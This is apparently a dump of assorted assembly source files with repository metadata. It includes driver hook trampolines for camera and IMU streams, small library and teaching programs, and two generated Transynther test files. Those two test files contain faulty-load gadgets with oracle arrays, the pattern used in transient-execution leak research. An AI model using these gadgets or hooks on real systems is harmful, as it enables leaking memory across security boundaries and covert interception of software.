PUSH R8 PUSH R9 SUB RSP, 20h CALL _OnStartCameraStream ADD RSP, 20h POP R9 POP R8 POP RDX POP RCX POP RAX ;Return IP ;Backup MOV QWORD PTR [RSP+8], RBX PUSH RDI MOV EBX, DWORD PTR [HookStartCameraStream_RSPSubOffs] ;Custom SUB RSP, RBX XOR EBX, EBX JMP RAX _Hook_StartCameraStream ENDP _Hook_StopCameraStream PROC ;RCX : NOTed camera pair ID PUSH RCX PUSH RDX PUSH R8 PUSH R9 SUB RSP, 20h CALL _OnStopCameraStream ADD RSP, 20h POP R9 POP R8 POP RDX POP RCX POP RAX ;Return IP ;Backup MOV QWORD PTR [RSP+10h], RBX MOV QWORD PTR [RSP+18h], RSI PUSH RBP PUSH RDI JMP RAX _Hook_StopCameraStream ENDP _Hook_OpenIMUStream PROC POP RAX PUSH RCX PUSH RDX SUB RSP, 28h LEA R8, [_PostOpenIMUStream] PUSH R8 ;Return address ;Backup MOV QWORD PTR [RSP+18h], RBX PUSH RBP PUSH RSI PUSH RDI MOV R8, QWORD PTR [HookOpenIMUStream_RBPOffset] MOV RBP, RSP ADD RBP, R8 JMP RAX _PostOpenIMUStream: MOV QWORD PTR [RSP+20h], RAX TEST EAX, EAX JS _FailOpenIMUStream MOV RCX, QWORD PTR [RSP+30h] MOV RDX, QWORD PTR [RSP+28h] CALL _OnOpenIMUStream _FailOpenIMUStream: ADD RSP, 20h POP RAX POP RDX POP RCX RET _Hook_OpenIMUStream ENDP _Hook_CloseIMUStream PROC POP RAX SUB RSP, 28h LEA R8, [_PostCloseIMUStream] PUSH R8 ;Return address ;Backup MOV QWORD PTR [RSP+8h], RBX PUSH RBP MOV R8, QWORD PTR [HookCloseIMUStream_RBPOffset] MOV RBP, RSP ADD RBP, R8 MOVSXD R8, DWORD PTR [HookCloseIMUStream_RSPSubOffs] SUB RSP, R8 JMP RAX _PostCloseIMUStream: MOV QWORD PTR [RSP+20h], RAX TEST EAX, EAX JS _FailCloseIMUStream CALL _OnCloseIMUStream _FailCloseIMUStream: ADD RSP, 20h POP RAX RET _Hook_CloseIMUStream ENDP _Hook_CrystalKeyStartIMUStream PROC ;RCX : controller handle ;RDX : callback ;R8 : user data PUSH RCX PUSH RDX PUSH R8 SUB RSP, 38h LEA RAX, [RSP+20h] ; parameter pCallback MOV QWORD PTR [RAX], RDX MOV RDX, RAX LEA RAX, [RSP+28h] ; parameter pUserData MOV QWORD PTR [RAX], R8 MOV R8, RAX CALL _OnCrystalKeyStartIMUStream MOV RCX, [RSP+48h] MOV RDX, [RSP+20h] MOV R8, [RSP+28h] MOV RAX, [RSP+50h] ; Call CrystalKeyStartIMUStream ; Backup LEA R10, [_PostCrystalKeyStartIMUStream] PUSH R10 ;Address after the Hook CALL MOV QWORD PTR [RSP+8h], RBX MOV QWORD PTR [RSP+10h], RSI PUSH RDI MOV R10D, [HookCrystalKeyStartIMUStream_RSPSubOffs] SUB RSP, R10 JMP RAX _PostCrystalKeyStartIMUStream: TEST EAX, EAX JS _FailCrystalKeyStartIMUStream MOV QWORD PTR [RSP+20h], RAX MOV RCX, [RSP+48h] MOV RDX, [RSP+40h] MOV R8, [RSP+38h] CALL _OnSuccessCrystalKeyStartIMUStream MOV RAX, QWORD PTR [RSP+20h] _FailCrystalKeyStartIMUStream: ADD RSP, 38h POP R8 POP RDX POP RCX POP R10 RET _Hook_CrystalKeyStartIMUStream ENDP _Hook_CrystalKeyStopIMUStream PROC ;RCX : controller handle PUSH RCX SUB RSP, 28h CALL _OnPostCrystalKeyStopIMUStream ADD RSP, 28h POP RCX POP RAX ;Return IP ;Backup MOV QWORD PTR [RSP+8h], RBX PUSH RDI MOVSXD R10, DWORD PTR [HookCrystalKeyStopIMUStream_RSPSubOffs] SUB RSP, R10 MOV R10, QWORD PTR [HookCrystalKeyStopIMUStream_CMPAddr] CMP DWORD PTR [R10], 0 JMP RAX _Hook_CrystalKeyStopIMUStream ENDP _Hook_ControllerStateTransition PROC ;The volatile registers RAX, RCX, RDX, R8, R10, R11 can be overwritten, only R9 is required by the caller. MOV RCX, RBX ;pDriftManager MOV RDX, R9 ;oldStateName MOV R8, QWORD PTR [RSP+28h] ;newStateName PUSH R9 SUB RSP, 20h CALL _OnControllerStateTransition ADD RSP, 20h POP R9 ;Backup MOV RDX, QWORD PTR [HookControllerStateTransition_FormatString] MOV RCX, QWORD PTR [HookControllerStateTransition_ModuleNameString] RET _Hook_ControllerStateTransition ENDP _text ENDS END
16.351171
107
0.748415
6785c2ccc97f9ffbe886fca4c68203baf71aab27
136
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_derror_nanc.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_derror_nanc.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/z80/asm_derror_nanc.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_am9511 PUBLIC derror_nanc EXTERN asm_am9511_derror_nanc defc derror_nanc = asm_am9511_derror_nanc
13.6
41
0.875
45227c6e01feb2f84a925a841ff91a89daefd20e
1,553
asm
Assembly
programs/oeis/131/A131386.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/131/A131386.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/131/A131386.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A131386: a(n) = (-1)^n*n*(n-2). ; 1,0,-3,8,-15,24,-35,48,-63,80,-99,120,-143,168,-195,224,-255,288,-323,360,-399,440,-483,528,-575,624,-675,728,-783,840,-899,960,-1023,1088,-1155,1224,-1295,1368,-1443,1520,-1599,1680,-1763,1848,-1935,2024,-2115,2208,-2303,2400,-2499,2600,-2703,2808,-2915,3024,-3135,3248,-3363,3480,-3599,3720,-3843,3968,-4095,4224,-4355,4488,-4623,4760,-4899,5040,-5183,5328,-5475,5624,-5775,5928,-6083,6240,-6399,6560,-6723,6888,-7055,7224,-7395,7568,-7743,7920,-8099,8280,-8463,8648,-8835,9024,-9215,9408,-9603,9800,-9999,10200,-10403,10608,-10815,11024,-11235,11448,-11663,11880,-12099,12320,-12543,12768,-12995,13224,-13455,13688,-13923,14160,-14399,14640,-14883,15128,-15375,15624,-15875,16128,-16383,16640,-16899,17160,-17423,17688,-17955,18224,-18495,18768,-19043,19320,-19599,19880,-20163,20448,-20735,21024,-21315,21608,-21903,22200,-22499,22800,-23103,23408,-23715,24024,-24335,24648,-24963,25280,-25599,25920,-26243,26568,-26895,27224,-27555,27888,-28223,28560,-28899,29240,-29583,29928,-30275,30624,-30975,31328,-31683,32040,-32399,32760,-33123,33488,-33855,34224,-34595,34968,-35343,35720,-36099,36480,-36863,37248,-37635,38024,-38415,38808,-39203,39600,-39999,40400,-40803,41208,-41615,42024,-42435,42848,-43263,43680,-44099,44520,-44943,45368,-45795,46224,-46655,47088,-47523,47960,-48399,48840,-49283,49728,-50175,50624,-51075,51528,-51983,52440,-52899,53360,-53823,54288,-54755,55224,-55695,56168,-56643,57120,-57599,58080,-58563,59048,-59535,60024,-60515,61008,-61503,62000 mov $1,-2 bin $1,$0 mul $0,$1 sub $1,$0
194.125
1,477
0.731487
ca8cd3cb9bc920a30d3d4e46b060da344e449d1a
1,195
asm
Assembly
Application/AssemblyCode/working_and_tmp_asm_files/SCORE_x50.asm
t0ddpar0dy/Handmade_Pacman
68cfdd355bd26e5f5d8d8d6ba344a71f2e19fd70
[ "MIT" ]
null
null
null
Application/AssemblyCode/working_and_tmp_asm_files/SCORE_x50.asm
t0ddpar0dy/Handmade_Pacman
68cfdd355bd26e5f5d8d8d6ba344a71f2e19fd70
[ "MIT" ]
null
null
null
Application/AssemblyCode/working_and_tmp_asm_files/SCORE_x50.asm
t0ddpar0dy/Handmade_Pacman
68cfdd355bd26e5f5d8d8d6ba344a71f2e19fd70
[ "MIT" ]
null
null
null
init_score: // find location to write LUI 63 r0 // top left most glyph address ORI 255 r0 ADDI -53 r0 ADDI -106 r0 // offset rows by 4 down ADDI -35 r0 // and 22 columns // initialize 5 places to 0 MOVI 169 r1 // 10,000s STOR r1 r0 ADDI -1 r0 MOVI 169 r1 // 1,000s STOR r1 r0 ADDI -1 r0 MOVI 169 r1 // 100s STOR r1 r0 ADDI -1 r0 MOVI 169 r1 // 10s STOR r1 r0 ADDI -1 r0 MOVI 169 r1 // 1s STOR r1 r0 RETX update_score: // increments score by 50 LUI 51 r3 ORI 246 r3 // current score address LOAD r5 r3 // load current score from memory to increment ADDI 50 r5 // add 50 to current score STOR r5 r3 // store new score to memory BUC toggle_tens toggle_tens: // find location to write LUI 63 r4 // top left most glyph address ORI 255 r4 ADDI -53 r4 ADDI -106 r4 // offset rows by 4 down ADDI -35 r4 // and 22 columns ADDI -3 r4 // 10's place LOAD r6 r4 MOVI 169 r2 CMP r2 r6 BEQ load_five BUC nine_zero load_five: MOVI 174 r8 STOR r8 r4 // write 5 to ten's RETX nine_zero: STOR r10 r4 // write 0 to current location ADDI 1 r4 // get next highest location LOAD r0 r4 MOVI 178 r1 CMP r0 r1 BEQ nine_zero ADDI 1 r0 STOR r0 r4 RETX
17.835821
58
0.677824
03eb9a183e058153203ade07f0f16a302d7edda8
8,146
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1452.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x10eb8, %rax nop add %r8, %r8 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 movups %xmm7, (%rax) add $42094, %r8 lea addresses_normal_ht+0xd6d0, %rsi lea addresses_D_ht+0xe050, %rdi nop nop cmp $48082, %r15 mov $50, %rcx rep movsb nop nop nop nop nop xor %rcx, %rcx lea addresses_D_ht+0x7ce8, %rdi clflush (%rdi) nop nop nop cmp $63878, %r12 mov (%rdi), %r8 add %r12, %r12 lea addresses_WC_ht+0x6802, %rsi lea addresses_WT_ht+0xdb78, %rdi nop nop add $39634, %r10 mov $15, %rcx rep movsb nop nop dec %rcx lea addresses_WT_ht+0x7e98, %r15 nop nop add $11631, %rdi mov (%r15), %cx nop nop nop nop nop sub %rdi, %rdi lea addresses_D_ht+0x3e6b, %rdi nop nop nop nop add %r15, %r15 vmovups (%rdi), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r10 nop xor $32420, %r10 lea addresses_UC_ht+0x15268, %rsi lea addresses_WC_ht+0xd790, %rdi nop nop cmp $33430, %r10 mov $51, %rcx rep movsw nop nop sub %r10, %r10 lea addresses_normal_ht+0x11628, %rax nop nop and %rdi, %rdi movl $0x61626364, (%rax) nop nop nop nop inc %rax lea addresses_normal_ht+0x1b6d2, %rax sub %r10, %r10 movups (%rax), %xmm6 vpextrq $1, %xmm6, %r12 cmp %r15, %r15 lea addresses_normal_ht+0x6778, %rsi lea addresses_UC_ht+0x6178, %rdi clflush (%rdi) nop nop nop nop add %r10, %r10 mov $77, %rcx rep movsb nop nop nop nop dec %rsi lea addresses_UC_ht+0x102f8, %r15 clflush (%r15) nop xor $13226, %rsi vmovups (%r15), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r10 nop nop nop nop inc %r12 lea addresses_A_ht+0x8178, %r10 nop nop nop nop add $23796, %rax movb (%r10), %r12b xor %r10, %r10 lea addresses_normal_ht+0x163b8, %r10 nop and %r15, %r15 mov $0x6162636465666768, %rcx movq %rcx, %xmm7 vmovups %ymm7, (%r10) nop nop nop nop nop sub $63014, %r10 lea addresses_D_ht+0x11378, %r12 nop nop nop nop nop cmp %r15, %r15 mov $0x6162636465666768, %rcx movq %rcx, %xmm3 movups %xmm3, (%r12) nop cmp %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %r8 push %rdi push %rdx push %rsi // Store lea addresses_D+0xc578, %rdi clflush (%rdi) nop nop nop sub %rdx, %rdx movb $0x51, (%rdi) nop nop nop add $52847, %r15 // Store lea addresses_D+0x5778, %rsi add %r13, %r13 mov $0x5152535455565758, %r15 movq %r15, %xmm3 vmovups %ymm3, (%rsi) nop nop sub %rsi, %rsi // Faulty Load lea addresses_A+0x19f78, %rsi sub %r8, %r8 mov (%rsi), %r13d lea oracles, %r10 and $0xff, %r13 shlq $12, %r13 mov (%r10,%r13,1), %r13 pop %rsi pop %rdx pop %rdi pop %r8 pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': True, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
33.80083
2,999
0.656396
8a6f22477be9dd8e3492d758c2623ead97470434
23
asm
Assembly
assembler/sample/test2.asm
shouya/projz
02e6ca6e9a2822c582c698e5eac643f832776a6a
[ "BSD-2-Clause" ]
1
2018-07-28T01:59:23.000Z
2018-07-28T01:59:23.000Z
assembler/sample/test2.asm
shouya/projz
02e6ca6e9a2822c582c698e5eac643f832776a6a
[ "BSD-2-Clause" ]
null
null
null
assembler/sample/test2.asm
shouya/projz
02e6ca6e9a2822c582c698e5eac643f832776a6a
[ "BSD-2-Clause" ]
1
2022-01-29T03:18:16.000Z
2022-01-29T03:18:16.000Z
;;; Empty line test
4.6
19
0.565217
0973e4f268942e4298123b9862c5eff9ac9be974
3,739
asm
Assembly
lab/task4_addressingISA.asm
knodel/msp430lab
2dc6237b0bb677e85dda2a7ec51ad290c69ba94f
[ "MIT" ]
2
2019-09-16T02:15:26.000Z
2020-11-04T09:15:26.000Z
lab/task4_addressingISA.asm
knodel/msp430lab
2dc6237b0bb677e85dda2a7ec51ad290c69ba94f
[ "MIT" ]
null
null
null
lab/task4_addressingISA.asm
knodel/msp430lab
2dc6237b0bb677e85dda2a7ec51ad290c69ba94f
[ "MIT" ]
null
null
null
;------------------------------------------------------------------------------ ; MIT License ; ; Copyright (c) 2019 Oliver Knodel ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; MSP430G2231 ; ----------------- ; /|\| XIN|- ; | | | ; --|RST XOUT|- ; | | ; | P1.0|--> LED red ; Buton -->|P1.3 P1.6|--> LED green ; | | ; ----------------- ; ; Status Register ; Bit 8 7 6 5 4 3 2 1 0 ; Flag V - - - - - N Z C ; ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Header and defines ;------------------------------------------------------------------------------ ; .cdecls C,LIST,"msp430g2553.h" .cdecls C,LIST,"msp430g2231.h" LED_GREEN .set 01000000b LED_RED .set 00000001b LED_BOTH .set LED_GREEN | LED_RED SWITCH .set 00001000b ;------------------------------------------------------------------------------ ; Data segment ;------------------------------------------------------------------------------ .data daten .word 0x90D6, 0x145A, 0x0000 ;------------------------------------------------------------------------------ ; Initialization ;------------------------------------------------------------------------------ .text ; program start .global _main ; define entry point _main mov.w #0280h,SP ; initialize stack pointer mov.w #WDTPW+WDTHOLD,&WDTCTL ; stop watchdog timer ;------------------------------------------------------------------------------ ; Application Code ;------------------------------------------------------------------------------ Mainloop mov.w #daten, R4 mov.w &daten, R5 mov.w 2(R4), R6 add.w R5,R6 rra.w R6 mov.w R6,4(R4) jmp Mainloop ;------------------------------------------------------------------------------ ; Reset ;------------------------------------------------------------------------------ _reset mov.b #0x00,&P1OUT jmp _main ;------------------------------------------------------------------------------ ; Interrupt Vectors ;------------------------------------------------------------------------------ .sect ".reset" ; MSP430 RESET Vector .short _reset .end
36.656863
80
0.3862
af724de34710d79800c05162c43d75575fb0010e
5,031
asm
Assembly
Transynther/x86/_processed/US/_ht_zr_un_/i7-7700_9_0x48_notsx.log_934_1255.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_ht_zr_un_/i7-7700_9_0x48_notsx.log_934_1255.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_ht_zr_un_/i7-7700_9_0x48_notsx.log_934_1255.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x18ba, %r13 nop nop nop nop nop sub $44556, %rdx movb (%r13), %r15b nop nop nop nop and $31675, %r10 lea addresses_normal_ht+0x128d2, %r8 nop nop nop xor $54365, %r10 movb $0x61, (%r8) dec %r10 lea addresses_WT_ht+0x5abd, %rsi lea addresses_UC_ht+0x1b5a9, %rdi clflush (%rdi) nop nop nop nop nop inc %rdx mov $103, %rcx rep movsw nop nop add %r8, %r8 lea addresses_UC_ht+0x13cba, %r8 dec %r13 mov $0x6162636465666768, %rdi movq %rdi, %xmm6 vmovups %ymm6, (%r8) nop nop nop add $13634, %rcx lea addresses_A_ht+0x1421a, %rsi lea addresses_WC_ht+0xe4ba, %rdi clflush (%rsi) nop nop nop nop lfence mov $95, %rcx rep movsw nop nop sub $19904, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %rbp push %rsi // Faulty Load lea addresses_US+0x1f4ba, %r11 nop nop nop dec %r10 movups (%r11), %xmm6 vpextrq $1, %xmm6, %r15 lea oracles, %rbp and $0xff, %r15 shlq $12, %r15 mov (%rbp,%r15,1), %r15 pop %rsi pop %rbp pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_US', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_US', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 8}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}} {'ff': 1, '49': 913, '00': 20} 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 